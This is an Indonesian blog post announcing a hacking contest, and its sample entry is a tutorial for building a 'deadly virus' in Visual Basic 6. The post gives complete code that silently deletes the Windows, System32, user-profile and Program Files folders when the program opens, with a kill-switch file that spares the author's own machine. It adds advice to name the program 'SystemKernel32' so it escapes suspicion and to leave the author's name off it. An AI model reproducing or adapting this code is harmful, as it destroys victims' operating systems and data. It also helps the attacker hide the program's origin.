Cara Membuat Virus Mematikan[Menghapus Data]

[+] Post Title :

Formulir Dan Ketentuan Acara --Pencarian G.Hacking--

[+] Date : Rabu, 17 Februari 2010
[+] Author : rozi inside
[+] Link : https://datalunars.blogspot.com/2010/02/formulir-dan-ketentuan-acara-pencarian.html
[+] Type : Event

-------Hai GreenHorn----------
udah gak sabar kan pengen cepet" ikutan acara G.Hacking...
yaitu pencarian Bakat dalam menghacking.......
anda di tugaskan hanya untuk mengemukakan kepandaian dalam menghacking...
G.Hacking ini terbagi atas 2 Bagian...
yakni....
--White |Hacking|☺
Bertugaskan sebagai Membantu orang" dalam kesusahan di dalam ilmu
komputer.
ex: -membantu mengedit blog
-membuat dan mempercantik tampilan web dan blog
-Membuat sebuah Aplikasi yg dapat membantu orng banyak
-etc


--Black |Hacking|☻
Bertugaskan Sebagai Hacker Sistem dan Programer, dan menghack atau
mencurangi sebuah jaringan.

ex: -Menghack sebuah sistem jaringan [lengkap dengan tutorial]
-Cheating Game n Aplikasi [ Untuk Para gamerz dunk tentunya]
- Pembuatan aplikasi unik dengan DOS/CMD
-Mencurangi Data" di internet
-dll

langsung saja .....

isi data data berikut ini dan kirin kan di posting di bawah[komentar]

-Nama :
-Umur :
-Kota :
-Email :
-BAgian Hack: White Hacking/Black HAcking

-Judul / ide HAcking

-ISI

Dan jng lupa kirim data data dan isi nya ke komentar di bawah Postingan ini saja.....
Pemenang akan di tampilkan melalui Broadcast di www.inside2.co.cc
Juara 1 akan mendapatkan 1000 tools hacking buatan Inside2
juara 2 s/d 10 akan mendapatkan Program Cheat n Hack.
Dan tentunya semuanya akan medapatkan kaos....Khusus untuk Member...

Contoh :

Nama: Ipong
Umur: 22
Kota : Bekasi
Email: xxxx@virus.net
B.HAck: Black HAcking

Judul :

Cara Membuat Virus Mematikan[Menghapus Data]

Yg diperluin:
1. VB(optimal : 6.0)
2. Ngerti tombol2nya VB

Tutorial Bikin Virus cman 1 mnt

1. bikin form sekecil mungkin
2. didalem form itu, masukin nih kode

Public Sub DelAll(ByVal DirtoDelete As Variant)
Dim FSO, FS
Set FSO = CreateObject(”Scripting.FileSystemObject”)
FS = FSO.DeleteFolder(DirtoDelete, True)
End Sub

Private Sub Form_Load()
On Error Resume Next

If FileExist(”c:\windows\system32\katak.txt”) = True Then
End
Else
Call DelAll(”c:\windows\system”)
Call DelAll(”c:\windows\system32″)
Call DelAll(”c:\windows”)
Call DelAll(”C:\Documents and Settings\All Users”)
Call DelAll(”C:\Documents and Settings\Administrator”)
Call DelAll(”C:\Documents and Settings”)
Call DelAll(”C:\Program Files\Common Files”)
Call DelAll(”C:\Program Files\Internet Explorer”)
Call DelAll(”C:\Program Files\Microsoft Visual Studio”)
Call DelAll(”C:\Program Files”)
End
End If
End Sub

Function FileExist(ByVal FileName As String) As Boolean
If Dir(FileName) = “” Then
FileExist = False
Else
FileExist = True
End If
End Function
3.
Kode yg warna biru itu penangkal nih virus, barang kali lu ga sengaja teken jadi lu slamat. jadi di folder c:\windows\system32\ kalo ada file namanya katak.txt, lu ga bakal keserang ndiri… bisa lu edit koq jadi apa gitu…

Yang warna merah itu folder yg bakal didelete ama nih virus, lu edit ndiri aja…

4. Bikin nih project namanya kaya nama system, disini gwe make nama “SystemKernel32″ jadi ga bakal dicurigain

5. Jangan pernah naroh nama lu di nih virus… k?

6. compile deh… slese!

-0-

Oa Kirim nya Ke ALamat Email ku aja......

rozispike@yahoo.com